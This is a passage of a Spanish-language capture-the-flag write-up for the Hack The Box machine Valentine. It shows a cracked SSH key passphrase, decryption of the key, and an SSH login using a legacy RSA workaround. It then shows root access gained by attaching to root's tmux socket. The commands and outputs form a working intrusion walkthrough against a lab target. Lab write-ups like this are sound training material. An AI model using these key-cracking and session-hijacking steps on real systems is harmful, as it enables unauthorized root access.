Press 'q' or Ctrl-C to abort, almost any other key for status
heartbleedbelievethehype (hype_key)
1g 0:00:00:00 DONE (2025-02-27 18:26) 100.0g/s 6400p/s 6400c/s 6400C/s 123456..hello
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Una vez confirmado esa prueba, decidimos en desencriptar la RSA Private Key
con las credenciales obtenidas. Comprobamos que hemos podido desencriptar la clave y le daremos los permisos necesarios para poder utilizar esa clave SSH privada.
❯ openssl rsa -in hype_key -out hype_key_decrypted
Enter pass phrase for hype_key:
writing RSA key
❯ ls -l hype_key_decrypted
.rw------- kali kali 1.7 KB Thu Feb 27 05:46:36 2025 hype_key_decrypted
❯ file hype_key_decrypted
hype_key_decrypted: OpenSSH private key (no password)
❯ chmod 600 hype_key_decrypted
Accessing on SSH trough SSH-RSA key rejected "no mutual signature algorithm"
Probaremos de autenticarnos con esta clave privada SSH del usuario hype
, pero al intentar acceder se nos muestra el siguiente mensaje de error. Posiblemente por un problema entre nuestro OpenSSH y el del servidor.
Realizando una búsqueda por Internet, nos encontramos con el siguiente blog de Confluence en el cual nos explican la manera de solucionar este problema. Para poder corregir este error y poder acceder con la clave privada, deberemos de rehabilitar el RSA
.
❯ ssh -i hype_key_decrypted hype@valentine.htb
sign_and_send_pubkey: no mutual signature supported
hype@valentine.htb's password:

Aplicaremos el Workaround que se nos mencioanaba y comprobamos que finalmente logramos obtener el acceso al sistema con el usuario hype
y podemos localizar la flag user.txt.
❯ ssh -i hype_key_decrypted -o PubkeyAcceptedKeyTypes=+ssh-rsa hype@valentine.htb
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
* Documentation: https://help.ubuntu.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$ cat user.txt
6bc88ec**************************
Privilege Escalation
Tmux Socket File Session
Revisando los procesos que se encuentran en ejecución en el sistema, comprobamos que el usuario root
parece estar utilizando Tmux
con un Tmux Socket File Session
ubicado en /.devs/dev_sess
.
hype@Valentine:/.devs$ ps aux | grep tmux
root 1048 0.0 0.1 26416 1668 ? Ss 20:16 0:00 /usr/bin/tmux -S /.devs/dev_sess
Desde la raíz /
del sistema accederemos al directorio .devs
en el cual comprobamos la existencia del archivo dev_sess
el cual se trata de un Socket que está siendo utilizado por el usuario root
.
hype@Valentine:/$ cd .devs/
hype@Valentine:/.devs$ ls -la
total 8
drwxr-xr-x 2 root hype 4096 Feb 26 20:16 .
drwxr-xr-x 26 root root 4096 Aug 24 2022 ..
srw-rw---- 1 root hype 0 Feb 26 20:16 dev_sess
hype@Valentine:/.devs$ file dev_sess
dev_sess: socket
hype@Valentine:/.devs$ w
20:53:51 up 37 min, 1 user, load average: 0.04, 0.08, 0.15
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
hype pts/0 10.10.14.2 20:52 0.00s 0.22s 0.00s w
Revisaremos que el binario de Tmux
se encuentra habilitado en el equipo y utillizaremos el Socket File
a través del parámetro -S
.
hype@Valentine:/.devs$ which tmux
/usr/bin/tmux
hype@Valentine:/.devs$ tmux -S dev_sess
Comprobamos que accedemos a la sesión de Tmux
del usuario root
y logramos obtener la flag root.txt.
root@Valentine:/.devs# whoami
root
root@Valentine:/.devs# cat /root/root.txt
80b5****************************
Última actualización
¿Te fue útil?